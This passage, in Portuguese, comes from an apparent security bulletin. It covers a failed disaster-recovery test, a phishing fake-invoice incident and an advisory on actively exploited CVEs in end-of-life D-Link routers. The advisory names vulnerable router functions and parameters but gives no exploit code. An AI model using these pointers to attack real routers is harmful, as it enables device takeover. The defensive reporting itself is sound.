  • CP-2: Plano de Contingência – Define o plano de contingência do sistema, incluindo objetivos de recuperação, prioridades de restauração e métricas de desempenho.
  • CP-4: Teste do Plano de Contingência – Recomenda a realização de testes para avaliar a eficácia do plano e a prontidão da equipe para executá-lo.

Durante a elaboração do plano de contingência (CP-2), definimos métricas para avaliar o sucesso dos testes. Essas métricas abrangem aspectos técnicos e, principalmente, indicadores alinhados aos objetivos do negócio.

As métricas voltadas para o negócio proporcionam ao corpo diretor uma visão clara do retorno sobre o investimento (ROI). Elas demonstram, na prática, que os recursos investidos no plano de contingência são justificados.

O que aconteceu durante o teste?

Embora o plano tenha sido bem estruturado, enfrentamos uma falha durante os testes devido a uma decisão equivocada. O processo começou bem: a infraestrutura foi restaurada em aproximadamente 20 minutos, bem abaixo da meta de 4 horas para a plena execução do sistema. Nosso plano incluía terceiros, com nomes, funções e contatos devidamente registrados no documento de contingência.

Dois dias antes do teste, foi tomada a decisão de não envolver o terceiro especialista responsável pelo sistema em questão, com a equipe interna assumindo essa responsabilidade. Com a infraestrutura funcionando perfeitamente, estávamos confiantes de que alcançaríamos um tempo de recuperação muito inferior ao planejado. No entanto, ao realizar os testes dos serviços do sistema, enfrentamos um erro inesperado.

A equipe responsável pelos testes e pela resolução do problema não conseguiu solucioná-lo imediatamente. Tentamos, então, contatar o terceiro especialista que havia sido previamente excluído da prática. Após cerca de duas horas sem resposta, declaramos a falha do teste. Ressaltamos que o teste foi realizado em um sábado, o que pode ter dificultado ainda mais comunicação.

Lições aprendidas

Siga o plano à risca: Um plano de contingência bem definido é projetado para antecipar problemas e deve ser rigorosamente seguido.

Impacto em situações reais: Em um cenário de desastre, especialmente em dias críticos para o cliente, a ausência/falta de comunicação com um terceiro essencial poderia resultar em caos operacional e consequentemente em perdas financeiras

Revisão de terceiros críticos: A confiabilidade de terceiros essenciais à operação deve ser constantemente avaliada. Contratos, canais de comunicação e acordos de disponibilidade precisam ser revisados, considerando que desastres não são previsíveis.

    Com essa experiência deixo o questionamento: Seu plano de recuperação de desastres está bem definido e principalmente testado?

    Vol. 1 No. 20250520-590 (2025)

    Pessoas, a linha de frente

    Anísio José Moreira Neto | anisio@cylo.com.br | 20/05/2025

    Dentro dos conhecimentos de cybersecurity tenho para como escrito em pedra “os três Ps”, PPP:

    Pessoa

    Processo

    Produto

    Como pessoas, temos que entender o elemento humano, o tomador de decisão final, a que consome a tecnologia.

    A decisão da pessoa é a que vale quando o Produto não teve posicionamento, quando o processo não previu. O treinamento das pessoas nunca pode ser visto como despesa; elas precisam saber o que fazer, como fazer (processo) e onde fazer (produto).

    Em uma situação, após o almoço, renovei o certificado SSL de uma empresa cliente em um popular serviço de hospedagem brasileiro. Durante o atendimento, conversei com a pessoa do financeiro e lhe informei o valor que lhe seria cobrado por tal renovação. Ela me relatou a rotina de pagamento trimestral que faz para este serviço de hospedagem. Tudo certo.

    Ao final do dia, a pessoa do financeiro me ligou questionando-me se um boleto de um valor expressivo que recebeu havia sido emitido em decorrência da renovação que eu havia feito. A minha resposta foi não, mas solicitei-lhe que o e-mail fosse enviado como anexo para análise.

    Disse-lhe: “Arraste a mensagem para a área de trabalho e, depois, arraste o arquivo para um novo e-mail e me envie”.

    Como parecia dentro do contexto, comecei a me questionar: “Será que estão cobrando mais coisas??? Será que o preço mudou???”.

    Quando o e-mail chegou na minha caixa de entrada, não me contive e em pensamento já julguei o usuário, pois o assunto começava com “ENC:”. A pessoa me encaminhou o e-mail, sem seguir as orientações que eu havia dado no sentido de anexar a mensagem a um novo e-mail. Eu não tinha, então, o cabeçalho.

    Durante a leitura do e-mail, o remetente parecia real. Entendo o usuário não duvidar da mensagem com base neste campo. Fiquei intrigado: “Deve ter alguém dentro do provedor de hospedagem, um Insider, que viu o cliente adicionar o serviço e mandou um boleto falso antes do real???”

     Ainda lendo o e-mail, o corpo não tinha como ter contexto. Estava informando que o domínio seria desativado por falta de pagamento. Neste momento, já notifiquei a pessoa para ela não pagar o boleto, pois se tratava de golpe.

    Mas, no SOC, não podemos assumir nada. Como eu não tinha o cabeçalho, acessei a ferramenta de administração do e-mail em nuvem do cliente (aqui sendo o outro “P” – Produto) e realizei o rastreio dos e-mails recebidos pela pessoa do financeiro no dia, seguindo aqui um Processo (o outro “P”).

    Logo de início, estranhei o fato de ter que buscar o e-mail entre todos os recebidos naquele dia, pois ele estava no final da lista, indicando que havia sido recebido nas primeiras horas do dia, enquanto a renovação havia sido feita após o almoço. Com essa constatação, já descartei a possibilidade de se tratar de um Insider, como havia pensado anteriormente.

    Ao expandir os detalhes da mensagem na tela de rastreio, notei que a ferramenta de e-mail tinha colocado a mensagem do golpe no lixo eletrônico da caixa de correio do financeiro.

    No calor do momento, mais julgamentos: “COMO QUE ELA FOI CAVAR ISSO NO SPAM DELA?????”. Em instantes, porém, já o alívio: “pelo menos ela não pagou, consultou os envolvidos, foi prudente.”

    Cheguei à conclusão de que o atacante quase teve sucesso por ter enviado muitos e-mails destes para os clientes da empresa de hospedagem, pois em um deles, neste caso o meu cliente, existiu uma compra real no mesmo dia; horas depois, mas no mesmo dia. Mesmo o produto do cliente – a solução de e-mail na nuvem – tendo feito corretamente a parte dele e colocando o e-mail falso no lixo eletrônico, a pessoa atravessou a linha, abrindo a mensagem e a encaminhando.

    Ao encaminhar a mensagem, ao invés de anexar como eu havia solicitado, todas as imagens do e-mail falso foram carregadas. Com isso, o atacante soube que este alvo leu o e-mail e, provavelmente, o colocou em uma lista de alvos com mais chances de sucesso.

    A solução oferecida pelo produto quase não fora suficiente para garantir a proteção do cliente. A linha de frente, isto é, o primeiro P – Pessoa, ignorou a proteção fornecida pelo terceiro P – Produto, o que quase gerou prejuízos à empresa.

    Desta forma, não podemos nos esquecer da importância de treinar as pessoas, pois o produto por si só, por vezes, não basta.

    Vol. 1 No. 20250513-583 (2025)

    Vulnerabilidades sendo exploradas em roteadores D-Link

    Adriano Cansian | adriano.cansian@unesp.br | 13/05/2025

    Nas últimas 72 horas estamos observando uma onda de ataques focados em roteadores D-Link, especificamente nos modelos D-Link DIR-600L, DIR-605L e DIR-619L. Essas vulnerabilidades são preocupantes porque muitos desses dispositivos atingiram o fim de seu suporte (EOL – End of Life), o que significa que não receberão atualizações de firmware para corrigir os problemas.

    Esses roteadores foram lançados entre 2010 e 2013, quando o padrão 802.11n era amplamente adotado em dispositivos de entrada. Eles foram amplamente comercializados, especialmente em mercados emergentes como Índia, Brasil e Filipinas, devido ao seu baixo custo e funcionalidades básicas. Continuam em uso em residências e pequenas empresas, especialmente em regiões onde o custo de substituição é uma barreira, ou onde os usuários não estão cientes das vulnerabilidades.

    Alguns exemplos de vulnerabilidades recentes nesses dispositivos:

    1. D-Link DIR-600L

    Vulnerabilidades muito recentes

    • CVE-2025-4349 (05/05/2025): Uma vulnerabilidade crítica no firmware até a versão 2.07B01, afetando a função formSysCmd. A manipulação do argumento host permite a execução remota de comandos, possibilitando que um atacante assuma o controle do roteador sem autenticação.
    • CVE-2025-4350 (05/05/2025): Outra falha crítica na função wake_on_lan do mesmo firmware. A manipulação de argumentos pode levar à execução de código arbitrário, permitindo ataques remotos.

    2. D-Link DIR-605L

    Vulnerabilidades muito recentes

    • CVE-2025-4441 (08/05/2025): Vulnerabilidade de estouro de buffer (buffer overflow) que pode ser explorada remotamente manipulando o parâmetro curTime. Isso permite a execução de código arbitrário, comprometendo o roteador.
    • CVE-2025-4442 (08/05/2025): Outro estouro de buffer remoto, desta vez via manipulação de configurações WAN, também permitindo execução de código malicioso.

    3. D-Link DIR-619L

    Vulnerabilidades muito recentes

    • CVE-2025-4454 (08/05/2025): Vulnerabilidade crítica no firmware 2.04B04, afetando a função wake_on_lan. A manipulação de argumentos permite execução remota de código, possibilitando o controle total do roteador.
    • CVE-2025-4453 (09/05/2025): Injeção remota de comandos no mesmo firmware, explorável via manipulação de parâmetros, permitindo que atacantes executem comandos arbitrários.
    • CVE-2025-4452 (09/05/2025): Estouro de buffer na função formSetWizard2, que pode ser explorado remotamente para comprometer o roteador.
    • CVE-2025-4449 (09/05/2025): Estouro de buffer na função EasySetupWizard3, presente em firmware não suportados, permitindo execução de código malicioso.

    Possíveis impactos:

    De forma bastante resumida, essas vulnerabilidades permitem que atacantes:

    • Executem comandos remotamente, comprometendo completamente o roteador.
    • Alterem configurações, como senhas Wi-Fi ou regras de firewall.
    • Obtenham credenciais de administrador, possibilitando o controle total do dispositivo.
    • Realizem ataques de rede, como redirecionamento de tráfego ou monitoramento de dados.
    • Obtenham controle total do roteador incluindo alterações de configuração e execução de código malicioso.
    • Realizem sequestro de sessões administrativas, comprometendo a segurança da rede.

    O que fazer?

    Infelizmente não há muito que possa ser feito que permita continuar utilizando esses equipamentos. A única solução definitiba é comprar um roteador moderno de um fabricante que ofereça suporte contínuo e atualizações regulares. Algumas ações configurações de segurança podem ajudar a reduzir um pouco o problema. De forma genérica, são elas:

    • Instalar o firmware mais recente disponível para o roteador.
    • Desativar o acesso remoto ao painel de administração.
    • Usar senhas fortes e exclusivas para o roteador e a rede Wi-Fi.
    • Desativar recursos como UPnP e WPS, que são alvos comuns de exploits.
    • Considerar usar um firewall ou software de monitoramento de rede.
    • Configurar redes separadas para dispositivos móveis e IoT, separando dos computadores para limitar o impacto de um eventual roteador comprometido.

    Observações:

    Conforme mencionado, estamos discutindo aqui as vulnerabilidades que estão sendo exploradas em roteadores D-Link D-Link DIR-600L, DIR-605L e DIR-619L nas últimas 72 horas, no momento de elaboração desse artigo. Existem diversos outros modelos de roteadores D-Link com problemas de vulnerabilidades. Porém, tais modelos continuam com o ciclo de vida ativo e recebem atualizações de segurança. Para uma busca completa de vulnerabilidades que estejam afetando os dispositivos D-Link, classificadas das mais recentes para as mais antigas, utilize essa [BUSCA] que irá abrir em outra janela.

    Conclusão

    Apesar da ausência de estatísticas precisas, pelas nossas obaservações, é plausível estimar que uma quantidade significativa de roteadores dos modelos D-Link DIR-600L, DIR-605L e DIR-619L permaneça em operação, particularmente em mercados emergentes, em função do seu baixo custo e das funcionalidades básicas que oferecem. No entanto, esses equipamentos encontram-se tecnicamente obsoletos e apresentam vulnerabilidades de segurança conhecidas e críticas.

    Diante desse cenário, recomenda-se fortemente sua substituição por dispositivos mais modernos, que contem com atualizações de firmware e suporte contínuo por parte do fabricante. A manutenção desses modelos em redes ativas representa um vetor considerável de risco à segurança da informação.